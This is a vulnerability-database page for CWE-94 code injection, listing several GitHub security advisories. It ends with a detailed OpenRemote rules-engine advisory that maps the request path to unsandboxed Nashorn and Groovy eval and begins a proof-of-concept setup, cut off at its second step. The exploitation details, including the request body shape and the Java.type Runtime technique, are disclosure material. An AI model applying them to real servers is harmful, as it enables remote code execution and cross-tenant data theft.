Common Weakness Enumeration
CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
8378 vulnerabilities reference this CWE, most recent first.
GHSA-7MCW-6R84-FRFH
Vulnerability from github – Published: 2022-05-02 06:10 – Updated: 2022-05-02 06:10
VLAI
Details
Adobe Reader and Acrobat 9.x before 9.3.2, and 8.x before 8.2.2 on Windows and Mac OS X, allow attackers to execute arbitrary code via unspecified vectors, related to a "prefix protocol handler vulnerability."
{
"affected": [],
"aliases": [
"CVE-2010-0191"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-04-14T16:00:00Z",
"severity": "HIGH"
},
"details": "Adobe Reader and Acrobat 9.x before 9.3.2, and 8.x before 8.2.2 on Windows and Mac OS X, allow attackers to execute arbitrary code via unspecified vectors, related to a \"prefix protocol handler vulnerability.\"",
"id": "GHSA-7mcw-6r84-frfh",
"modified": "2022-05-02T06:10:51Z",
"published": "2022-05-02T06:10:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-0191"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A6729"
},
{
"type": "WEB",
"url": "http://www.adobe.com/support/security/bulletins/apsb10-09.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/39329"
},
{
"type": "WEB",
"url": "http://www.us-cert.gov/cas/techalerts/TA10-103C.html"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2010/0873"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-7MG9-54M6-QH35
Vulnerability from github – Published: 2025-07-17 21:32 – Updated: 2025-07-17 21:32
VLAI
Details
A code injection vulnerability has been discovered in the Robot Operating System (ROS) 'rostopic' command-line tool, affecting ROS distributions Noetic Ninjemys and earlier. The vulnerability lies in the 'echo' verb, which allows a user to introspect a ROS topic and accepts a user-provided Python expression via the --filter option. This input is passed directly to the eval() function without sanitization, allowing a local user to craft and execute arbitrary code.
Severity
7.8 (High)
{
"affected": [],
"aliases": [
"CVE-2024-41921"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-17T20:15:27Z",
"severity": "HIGH"
},
"details": "A code injection vulnerability has been discovered in the Robot Operating System (ROS) \u0027rostopic\u0027 command-line tool, affecting ROS distributions Noetic Ninjemys and earlier. The vulnerability lies in the \u0027echo\u0027 verb, which allows a user to introspect a ROS topic and accepts a user-provided Python expression via the --filter option. This input is passed directly to the eval() function without sanitization, allowing a local user to craft and execute arbitrary code.",
"id": "GHSA-7mg9-54m6-qh35",
"modified": "2025-07-17T21:32:15Z",
"published": "2025-07-17T21:32:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-41921"
},
{
"type": "WEB",
"url": "https://www.ros.org/blog/noetic-eol"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7MHX-7529-P5JC
Vulnerability from github – Published: 2022-05-14 02:33 – Updated: 2025-10-22 03:30
VLAI
Details
GDI+ in Microsoft Windows Vista SP2 and Server 2008 SP2; Office 2003 SP3, 2007 SP3, and 2010 SP1 and SP2; Office Compatibility Pack SP3; and Lync 2010, 2010 Attendee, 2013, and Basic 2013 allows remote attackers to execute arbitrary code via a crafted TIFF image, as demonstrated by an image in a Word document, and exploited in the wild in October and November 2013.
Severity
7.8 (High)
{
"affected": [],
"aliases": [
"CVE-2013-3906"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2013-11-06T15:55:00Z",
"severity": "HIGH"
},
"details": "GDI+ in Microsoft Windows Vista SP2 and Server 2008 SP2; Office 2003 SP3, 2007 SP3, and 2010 SP1 and SP2; Office Compatibility Pack SP3; and Lync 2010, 2010 Attendee, 2013, and Basic 2013 allows remote attackers to execute arbitrary code via a crafted TIFF image, as demonstrated by an image in a Word document, and exploited in the wild in October and November 2013.",
"id": "GHSA-7mhx-7529-p5jc",
"modified": "2025-10-22T03:30:35Z",
"published": "2022-05-14T02:33:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-3906"
},
{
"type": "WEB",
"url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2013/ms13-096"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2013-3906"
},
{
"type": "WEB",
"url": "http://blogs.mcafee.com/mcafee-labs/mcafee-labs-detects-zero-day-exploit-targeting-microsoft-office-2"
},
{
"type": "WEB",
"url": "http://blogs.technet.com/b/srd/archive/2013/11/05/cve-2013-3906-a-graphics-vulnerability-exploited-through-word-documents.aspx"
},
{
"type": "WEB",
"url": "http://technet.microsoft.com/security/advisory/2896666"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/30011"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7MJJ-9265-43WM
Vulnerability from github – Published: 2022-05-01 02:03 – Updated: 2022-05-01 02:03
VLAI
Details
Eval injection vulnerability in PEAR XML_RPC 1.3.0 and earlier (aka XML-RPC or xmlrpc) and PHPXMLRPC (aka XML-RPC For PHP or php-xmlrpc) 1.1 and earlier, as used in products such as (1) WordPress, (2) Serendipity, (3) Drupal, (4) egroupware, (5) MailWatch, (6) TikiWiki, (7) phpWebSite, (8) Ampache, and others, allows remote attackers to execute arbitrary PHP code via an XML file, which is not properly sanitized before being used in an eval statement.
{
"affected": [],
"aliases": [
"CVE-2005-1921"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2005-07-05T04:00:00Z",
"severity": "HIGH"
},
"details": "Eval injection vulnerability in PEAR XML_RPC 1.3.0 and earlier (aka XML-RPC or xmlrpc) and PHPXMLRPC (aka XML-RPC For PHP or php-xmlrpc) 1.1 and earlier, as used in products such as (1) WordPress, (2) Serendipity, (3) Drupal, (4) egroupware, (5) MailWatch, (6) TikiWiki, (7) phpWebSite, (8) Ampache, and others, allows remote attackers to execute arbitrary PHP code via an XML file, which is not properly sanitized before being used in an eval statement.",
"id": "GHSA-7mjj-9265-43wm",
"modified": "2022-05-01T02:03:16Z",
"published": "2022-05-01T02:03:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2005-1921"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A11294"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A350"
},
{
"type": "WEB",
"url": "http://marc.info/?l=bugtraq\u0026m=112008638320145\u0026w=2"
},
{
"type": "WEB",
"url": "http://marc.info/?l=bugtraq\u0026m=112015336720867\u0026w=2"
},
{
"type": "WEB",
"url": "http://marc.info/?l=bugtraq\u0026m=112605112027335\u0026w=2"
},
{
"type": "WEB",
"url": "http://pear.php.net/package/XML_RPC/download/1.3.1"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/15810"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/15852"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/15855"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/15861"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/15872"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/15883"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/15884"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/15895"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/15903"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/15904"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/15916"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/15917"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/15922"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/15944"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/15947"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/15957"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/16001"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/16339"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/16693"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/17440"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/17674"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/18003"
},
{
"type": "WEB",
"url": "http://security.gentoo.org/glsa/glsa-200507-01.xml"
},
{
"type": "WEB",
"url": "http://security.gentoo.org/glsa/glsa-200507-06.xml"
},
{
"type": "WEB",
"url": "http://security.gentoo.org/glsa/glsa-200507-07.xml"
},
{
"type": "WEB",
"url": "http://securitytracker.com/id?1015336"
},
{
"type": "WEB",
"url": "http://sourceforge.net/project/showfiles.php?group_id=87163"
},
{
"type": "WEB",
"url": "http://sourceforge.net/project/shownotes.php?release_id=338803"
},
{
"type": "WEB",
"url": "http://www.ampache.org/announce/3_3_1_2.php"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2005/dsa-745"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2005/dsa-746"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2005/dsa-747"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2005/dsa-789"
},
{
"type": "WEB",
"url": "http://www.drupal.org/security/drupal-sa-2005-003/advisory.txt"
},
{
"type": "WEB",
"url": "http://www.gulftech.org/?node=research\u0026article_id=00087-07012005"
},
{
"type": "WEB",
"url": "http://www.hardened-php.net/advisory-022005.php"
},
{
"type": "WEB",
"url": "http://www.mandriva.com/security/advisories?name=MDKSA-2005:109"
},
{
"type": "WEB",
"url": "http://www.novell.com/linux/security/advisories/2005_18_sr.html"
},
{
"type": "WEB",
"url": "http://www.novell.com/linux/security/advisories/2005_41_php_pear.html"
},
{
"type": "WEB",
"url": "http://www.novell.com/linux/security/advisories/2005_49_php.html"
},
{
"type": "WEB",
"url": "http://www.redhat.com/support/errata/RHSA-2005-564.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/419064/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/14088"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2005/2827"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-7MM3-VMXH-8QQX
Vulnerability from github – Published: 2022-05-17 05:29 – Updated: 2022-05-17 05:29
VLAI
Details
PHP remote file inclusion vulnerability in libs/adodb/adodb.inc.php in PHP Free Photo Gallery script allows remote attackers to execute arbitrary PHP code via a URL in the path parameter.
{
"affected": [],
"aliases": [
"CVE-2010-4948"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2011-10-09T10:55:00Z",
"severity": "HIGH"
},
"details": "PHP remote file inclusion vulnerability in libs/adodb/adodb.inc.php in PHP Free Photo Gallery script allows remote attackers to execute arbitrary PHP code via a URL in the path parameter.",
"id": "GHSA-7mm3-vmxh-8qqx",
"modified": "2022-05-17T05:29:55Z",
"published": "2022-05-17T05:29:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-4948"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/14438"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-7MM8-FMCF-MVW9
Vulnerability from github – Published: 2022-05-14 02:39 – Updated: 2022-05-14 02:39
VLAI
Details
The Proxim Wireless Tsunami MP.11 2411 with firmware 3.0.3 has public as its default SNMP read/write community, which makes it easier for remote attackers to obtain sensitive information or modify SNMP variables.
{
"affected": [],
"aliases": [
"CVE-2008-5866"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-01-07T20:30:00Z",
"severity": "HIGH"
},
"details": "The Proxim Wireless Tsunami MP.11 2411 with firmware 3.0.3 has public as its default SNMP read/write community, which makes it easier for remote attackers to obtain sensitive information or modify SNMP variables.",
"id": "GHSA-7mm8-fmcf-mvw9",
"modified": "2022-05-14T02:39:18Z",
"published": "2022-05-14T02:39:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-5866"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/4884"
},
{
"type": "WEB",
"url": "http://www.procheckup.com/vulnerability_manager/vulnerabilities/pr08-24"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/497182/100/0/threaded"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-7MP2-F3VH-J4W4
Vulnerability from github – Published: 2022-05-14 03:11 – Updated: 2022-05-14 03:11
VLAI
Details
The previous version of Puppet Enterprise 2018.1 is vulnerable to unsafe code execution when upgrading pe-razor-server. Affected releases are Puppet Enterprise: 2018.1.x versions prior to 2018.1.1 and razor-server and pe-razor-server prior to 1.9.0.0.
Severity
9.8 (Critical)
{
"affected": [],
"aliases": [
"CVE-2018-6512"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-06-11T20:29:00Z",
"severity": "CRITICAL"
},
"details": "The previous version of Puppet Enterprise 2018.1 is vulnerable to unsafe code execution when upgrading pe-razor-server. Affected releases are Puppet Enterprise: 2018.1.x versions prior to 2018.1.1 and razor-server and pe-razor-server prior to 1.9.0.0.",
"id": "GHSA-7mp2-f3vh-j4w4",
"modified": "2022-05-14T03:11:18Z",
"published": "2022-05-14T03:11:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-6512"
},
{
"type": "WEB",
"url": "https://puppet.com/security/cve/CVE-2018-6512"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7MQR-33RV-P3MP
Vulnerability from github – Published: 2026-04-14 22:31 – Updated: 2026-04-24 20:43
VLAI
Summary
Expression Injection in OpenRemote
Details
Summary
The OpenRemote IoT platform's rules engine contains two interrelated critical expression injection vulnerabilities that allow an attacker to execute arbitrary code on the server, ultimately achieving full server compromise.
- Unsandboxed Nashorn JavaScript Engine: JavaScript rules are executed via Nashorn's ScriptEngine.eval() with user-supplied script content and no sandboxing, class filtering, or access restrictions. Critically, any non-superuser with the write:rules role can create JavaScript rulesets.
- Inactive Groovy Sandbox: The Groovy rules engine has a GroovyDenyAllFilter security filter that is defined but never registered (the registration code is commented out), rendering the SandboxTransformer ineffective. While Groovy rules are restricted to superusers, the absence of sandboxing violates the principle of defense in depth.
Details
Attacker-Controllable Source-to-Sink Paths
There are two non-superuser and two superuser exploitable attack paths from the REST API entry point to final code execution. (JavaScript × Realm/Asset + Groovy × Realm/Asset) The most critical path is detailed below.
Path 1: Unsandboxed JavaScript Expression Injection via Realm Ruleset (Non-Superuser Exploitable)
RulesetDeployment.java L368:
Object result = scriptEngine.eval(script, engineScope);
The Nashorn JavaScript engine is initialized without a ClassFilter, allowing Java.type() to access any JVM class — including java.lang.Runtime (for RCE), java.io.FileReader (for file read), and java.lang.System (for env theft).
RulesResourceImpl.java L309 (and L331, L359, L412, L437):
// VULNERABLE: only restricts Groovy, JavaScript completely unrestricted
if (ruleset.getLang() == Ruleset.Lang.GROOVY && !isSuperUser()) {
throw new WebApplicationException(Response.Status.FORBIDDEN);
}
Non-superuser attackers with only the write:rules role can submit arbitrary JavaScript rules that execute with full JVM access.
┌─────────────────────────────────────────────────────────────────────────────────────────┐
│ SOURCE → SINK Complete Data Flow │
├─────────────────────────────────────────────────────────────────────────────────────────┤
│ │
│ ① HTTP REQUEST (Source / Entry Point) │
│ POST /api/{realm}/rules/realm │
│ Content-Type: application/json │
│ Body: { "type":"realm", "lang":"JAVASCRIPT", │
│ "rules":"<MALICIOUS_SCRIPT>", ... } ← Attacker-controlled malicious script │
│ │
│ ↓ JAX-RS Deserialization │
│ │
│ ② RulesResource.createRealmRuleset() │
│ model/.../rules/RulesResource.java:153-158 │
│ @POST @Path("realm") @RolesAllowed("write:rules") │
│ Interface: long createRealmRuleset(RequestParams, @Valid RealmRuleset ruleset) │
│ JSON body → RealmRuleset object (Jackson deserialization) │
│ RealmRuleset.rules field ← attacker's malicious script content │
│ RealmRuleset.lang field ← "JAVASCRIPT" │
│ │
│ ↓ Calls implementation │
│ │
│ ③ RulesResourceImpl.createRealmRuleset() ← ⚠️ Authorization flaw here │
│ manager/.../rules/RulesResourceImpl.java:250-267 │
│ - L255: isRealmActiveAndAccessible(realm) — checks realm accessible ✓ │
│ - L255: isRestrictedUser() — restricted users blocked ✓ │
│ - L262: if (ruleset.getLang() == Ruleset.Lang.GROOVY && !isSuperUser()) │
│ → Only blocks GROOVY for non-superusers ✓ │
│ - ⚠️ NO check for Lang.JAVASCRIPT! JavaScript rules pass through unrestricted ⚠️ │
│ - L265: ruleset = rulesetStorageService.merge(ruleset) │
│ → Passes the RealmRuleset (with malicious script) to persistence layer │
│ │
│ ↓ JPA Persistence │
│ │
│ ④ RulesetStorageService.merge() │
│ manager/.../rules/RulesetStorageService.java:155-159 │
│ - L157: entityManager.merge(ruleset) │
│ → Persists RealmRuleset entity (with rules and lang fields) to REALM_RULESET table│
│ - After JPA transaction commit, Hibernate event listener is triggered │
│ │
│ ↓ Hibernate Event → Camel Message │
│ │
│ ⑤ Hibernate Interceptor → PersistenceService Event Publishing │
│ container/.../persistence/PersistenceEventInterceptor.java:51-62, 102-119 │
│ - L55-56: new PersistenceEvent<>(CREATE, entity, propertyNames, state) │
│ → Hibernate Interceptor captures the JPA entity persist event │
│ - L102-119: afterTransactionBegin() registers Synchronization callback; │
│ afterCompletion() calls eventConsumer.accept(persistenceEvent) (L114) │
│ container/.../persistence/PersistenceService.java:596-607 │
│ - PersistenceService implements Consumer<PersistenceEvent<?>> (L84) │
│ - L596-606: accept() publishes event to Camel SEDA topic: │
│ producerTemplate.withBody(persistenceEvent) │
│ .withHeader(HEADER_ENTITY_TYPE, entity.getClass()) │
│ .to(PERSISTENCE_TOPIC).asyncSend() │
│ - PERSISTENCE_TOPIC = "seda://PersistenceTopic?multipleConsumers=true&..." │
│ (PersistenceService.java:209-210) │
│ │
│ ↓ Camel Route Consumption │
│ │
│ ⑥ RulesService.configure() — Camel Route Processor │
│ manager/.../rules/RulesService.java:228-235 │
│ - L228: from(PERSISTENCE_TOPIC) │
│ - L230: .filter(isPersistenceEventForEntityType(Ruleset.class)) │
│ → Filters for Ruleset-type events only │
│ - L232-234: .process(exchange -> { │
│ PersistenceEvent<?> pe = exchange.getIn().getBody(PersistenceEvent.class); │
│ processRulesetChange((Ruleset) pe.getEntity(), pe.getCause()); │
│ }) │
│ → Extracts RealmRuleset entity from event and dispatches to change handler │
│ │
│ ↓ │
│ │
│ ⑦ RulesService.processRulesetChange() │
│ manager/.../rules/RulesService.java:503-531 │
│ - L504: cause == CREATE (not DELETE), ruleset.isEnabled() == true │
│ → Enters the deployment branch (else block) │
│ - L518: ruleset instanceof RealmRuleset → takes realm branch │
│ - L520: RulesEngine<RealmRuleset> engine = │
│ deployRealmRuleset((RealmRuleset) ruleset) │
│ - L521: engine.start() │
│ │
│ ↓ │
│ │
│ ⑧ RulesService.deployRealmRuleset() │
│ manager/.../rules/RulesService.java:589-625 │
│ - L591: Gets existing engine from realmEngines Map or creates new one │
│ - L594-613: If new engine: new RulesEngine<>(...), stores in realmEngines │
│ - (via addRuleset): engine.addRuleset(ruleset) │
│ → Passes RealmRuleset to engine for deployment │
│ │
│ ↓ │
│ │
│ ⑨ RulesEngine.addRuleset() │
│ manager/.../rules/RulesEngine.java:252-273 │
│ - L264: deployment = new RulesetDeployment(ruleset, this, timerService, │
│ assetStorageService, executorService, scheduledExecutorService, │
│ assetsFacade, usersFacade, notificationFacade, webhooksFacade, │
│ alarmsFacade, historicFacade, predictedFacade) │
│ → Creates deployment object wrapping the Ruleset (with malicious script) │
│ - L265: deployment.init() │
│ → Triggers compilation and initialization │
│ │
│ ↓ │
│ │
│ ⑩ RulesetDeployment.init() │
│ manager/.../rules/RulesetDeployment.java:132-158 │
│ - L143: TextUtil.isNullOrEmpty(ruleset.getRules()) → false, script is non-empty │
│ - L149: ruleset.isEnabled() → true │
│ - L154: if (!compile()) → calls compile() │
│ │
│ ↓ │
│ │
│ ⑪ RulesetDeployment.compile() │
│ manager/.../rules/RulesetDeployment.java:211-228 │
│ - L217: switch (ruleset.getLang()) { │
│ - L218: case JAVASCRIPT: ← lang field is JAVASCRIPT │
│ - L219: return compileRulesJavascript(ruleset, assetsFacade, │
│ usersFacade, notificationsFacade, historicDatapointsFacade, │
│ predictedDatapointsFacade); │
│ │
│ ↓ │
│ │
│ ⑫ RulesetDeployment.compileRulesJavascript() ← SINK (Code Execution Point) │
│ manager/.../rules/RulesetDeployment.java:306-378 │
│ │
│ - L307: // TODO https://github.com/pfisterer/scripting-sandbox/... │
│ ↑ Sandbox was NEVER implemented (only a TODO comment) │
│ │
│ - L308: ScriptEngine scriptEngine = │
│ scriptEngineManager.getEngineByName("nashorn"); │
│ ↑ Uses Nashorn 15.7 (gradle.properties:59) │
│ ↑ Obtained via ScriptEngineManager — NO ClassFilter applied │
│ ↑ Attacker can access ANY Java class via Java.type() │
│ │
│ - L309-311: Creates ScriptContext and Bindings │
│ - L312-317: Binds internal service objects to engineScope: │
│ "LOG" → Logger, "assets" → Assets facade, │
│ "users" → Users facade, "notifications" → Notifications facade │
│ │
│ - L319: String script = ruleset.getRules(); │
│ ↑↑↑ DIRECTLY reads the attacker's malicious script content ↑↑↑ │
│ ↑↑↑ This is the exact same value from the HTTP Body "rules" field ↑↑↑ │
│ ↑↑↑ passed through step ① with NO sanitization whatsoever ↑↑↑ │
│ │
│ - L322-365: Auto-prepends Java interop prefix: │
│ load("nashorn:mozilla_compat.js") → provides importPackage() │
│ importPackage("java.util.stream", ...) → auto-imports Java packages │
│ var Match = Java.type("...AssetQuery$Match") → pre-registers Java.type() │
│ ... (12 active Java.type references; 1 commented out) │
│ ↑ These prefixes further lower the attack barrier │
│ │
│ - L365: + script; │
│ ↑ Attacker script appended directly (string concatenation, no checks) │
│ │
│ - L368: scriptEngine.eval(script, engineScope); │
│ ↑↑↑ !!! FINAL SINK — The script string containing attacker's │
│ ↑↑↑ malicious code is DIRECTLY EXECUTED by Nashorn ScriptEngine │
│ ↑↑↑ Attacker uses Java.type('java.lang.Runtime') etc. to invoke │
│ ↑↑↑ arbitrary Java class methods, achieving Remote Code Execution (RCE) │
│ │
└─────────────────────────────────────────────────────────────────────────────────────────┘
Path 2: JavaScript Expression Injection via Asset Ruleset (Non-Superuser Exploitable)
Same data flow as Path 1. Differences only in the first three steps:
| Step | Difference |
|---|---|
| ① Source | POST /api/{realm}/rules/asset, body includes "assetId":"xxx" |
| ② Entry | RulesResource.createAssetRuleset() — RulesResource.java:200-206 |
| ③ Auth Flaw | RulesResourceImpl.createAssetRuleset() — RulesResourceImpl.java:341-365: L350 checks realm accessible, L353 checks restricted user's asset link, L359 only blocks GROOVY, JAVASCRIPT unrestricted. L363 rulesetStorageService.merge(ruleset) |
Sink Code Analysis
Sink 1: compileRulesJavascript() — Lines 306-378
// RulesetDeployment.java L306-378
protected boolean compileRulesJavascript(Ruleset ruleset, ...) {
// L307: TODO indicates sandbox was NEVER implemented
// L308: Gets Nashorn engine via ScriptEngineManager — NO ClassFilter
ScriptEngine scriptEngine = scriptEngineManager.getEngineByName("nashorn");
// L312-317: Binds internal service objects
engineScope.put("LOG", LOG);
engineScope.put("assets", assetsFacade);
// L319: DIRECTLY reads attacker's script content
String script = ruleset.getRules();
// L322-365: Prepends Java interop imports (lowers attack barrier)
script = "load(\"nashorn:mozilla_compat.js\");\n" + ... + script;
// L368: SINK — Executes the malicious script!
scriptEngine.eval(script, engineScope);
}
Why missing ClassFilter is fatal: The Nashorn engine provides a ClassFilter interface to restrict which Java classes scripts can access. The current code uses scriptEngineManager.getEngineByName("nashorn") (L308) which applies no ClassFilter, so the attacker can access any Java class via Java.type().
Sink 2: compileRulesGroovy() — Lines 449-485
// RulesetDeployment.java L449-485
protected boolean compileRulesGroovy(Ruleset ruleset, ...) {
// L451-452: Sandbox code COMMENTED OUT
// TODO Implement sandbox
// new DenyAll().register(); ← COMMENTED OUT!
// L453: Parses attacker's Groovy script
Script script = groovyShell.parse(ruleset.getRules());
// L473: SINK — Directly executes Groovy script
script.run();
}
Why SandboxTransformer is ineffective: The GroovyShell uses SandboxTransformer (L79-81) for AST transformation, but this transformer relies on registered GroovyInterceptor instances at runtime. Since new DenyAll().register() is commented out (L452), no interceptor is registered, making SandboxTransformer a no-op.
Path 3: Groovy Expression Injection via Realm Ruleset (Superuser Only)
┌─────────────────────────────────────────────────────────────────────────────────────────┐
│ SOURCE → SINK Complete Data Flow (Groovy) │
├─────────────────────────────────────────────────────────────────────────────────────────┤
│ │
│ ① HTTP POST /api/{realm}/rules/realm │
│ Body: { "type":"realm", "lang":"GROOVY", │
│ "rules":"<MALICIOUS_GROOVY>", ... } │
│ Requires superuser privileges │
│ │
│ ② RulesResource.createRealmRuleset() — RulesResource.java:153-158 │
│ │
│ ③ RulesResourceImpl.createRealmRuleset() — RulesResourceImpl.java:250-267 │
│ - L262: if (lang == GROOVY && !isSuperUser()) → superuser passes ✓ │
│ - L265: rulesetStorageService.merge(ruleset) │
│ │
│ ④-⑩ Same as Path 1 steps ④-⑩ │
│ │
│ ⑪ RulesetDeployment.compile() — RulesetDeployment.java:211-228 │
│ - L220: case GROOVY → compileRulesGroovy(ruleset, ...) │
│ │
│ ⑫ RulesetDeployment.compileRulesGroovy() ← SINK │
│ manager/.../rules/RulesetDeployment.java:449-485 │
│ - L451: // TODO Implement sandbox ← Sandbox NEVER implemented │
│ - L452: // new DenyAll().register() ← Security filter COMMENTED OUT! │
│ - L453: Script script = groovyShell.parse(ruleset.getRules()) │
│ ↑ groovyShell uses SandboxTransformer (L79-81) │
│ ↑ But no GroovyInterceptor registered → SandboxTransformer is ineffective │
│ ↑ ruleset.getRules() directly reads attacker's malicious Groovy script │
│ - L454-462: Creates Binding, binds internal service objects │
│ - L472: script.setBinding(binding) │
│ - L473: script.run() │
│ ↑↑↑ FINAL SINK — Groovy script executed directly, no sandbox ↑↑↑ │
│ │
└─────────────────────────────────────────────────────────────────────────────────────────┘
Path 4: Groovy Expression Injection via Asset Ruleset (Superuser Only)
Same as Path 3; first three steps differ as in Path 2.
PoC
Test Environment
| Component | Details |
|---|---|
| Host OS | macOS Darwin 25.1.0 |
| Docker | Docker Compose with official OpenRemote images |
| OpenRemote | openremote/manager:latest (v1.20.2) |
| Keycloak | openremote/keycloak:latest |
| PostgreSQL | openremote/postgresql:latest-slim |
| Target URL | https://localhost |
Multi-Tenant Test Topology
┌─────────────────────────────────────────────────────────┐
│ OpenRemote Platform │
│ │
│ ┌─────────────────┐ ┌─────────────────┐ │
│ │ Realm A │ │ Realm B │ │
│ │ (Attacker) │ │ (Victim) │ │
│ │ │ │ │ │
│ │ User: attacker │ ──X──│ SecretSensorB │ │
│ │ Roles: │ API │ secretData │ │
│ │ write:rules │blocked│ apiKey │ │
│ │ read:assets │ │ password │ │
│ │ NOT superuser │ │ │ │
│ └─────────────────┘ └─────────────────┘ │
│ │
│ API isolation: Realm A user CANNOT access Realm B │
│ via normal REST API (HTTP 401) │
│ │
│ Exploit: Realm A user creates JavaScript rule that │
│ executes arbitrary code on the SERVER, bypassing all │
│ tenant isolation │
└─────────────────────────────────────────────────────────┘
Deployment
OpenRemote was started using the project's official docker-compose.yml:
cd /path/to/openremote-openremote
docker compose up -d
Containers running:
Reproduction Steps & Evidence
Step 0: Obtain Admin Tokens
KC admin-cli token: eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6IC...
[OK] Direct access grants for 'master': HTTP 204
OR admin token: eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6IC...
API health check: HTTP 200, version=1.20.2
Step 1: Setup Multi-Tenant Environment
Created Realm B (victim) with sensitive assets, and Realm A (attacker) with a non-superuser.
Create realm 'realmb': HTTP 409 (already exists from prior run — OK)
[OK] Direct access grants for 'realmb': HTTP 204
Create victim asset in realmb: HTTP 200, ID=4cddi4ncR9w7RHRbVzVZfq
Planted sensitive data in Realm B:
secretData = 'REALM_B_CONFIDENTIAL_DATA_67890'
apiKey = 'sk-realmB-api-key-very-secret'
internalPassword = 'P@ssw0rd_Internal_2024'
Create realm 'realma': HTTP 409
[OK] Direct access grants for 'realma': HTTP 204
[OK] User 'attacker' in 'realma', ID: 0d137364-b538-45d2-b3b3-33f57d97b9f5
[OK] Roles assigned: ['read:rules', 'write:assets', 'read:assets', 'write:rules']
Key point: The attacker user has write:rules role but is NOT a superuser.
Step 2: Verify Tenant Isolation Works via Normal API
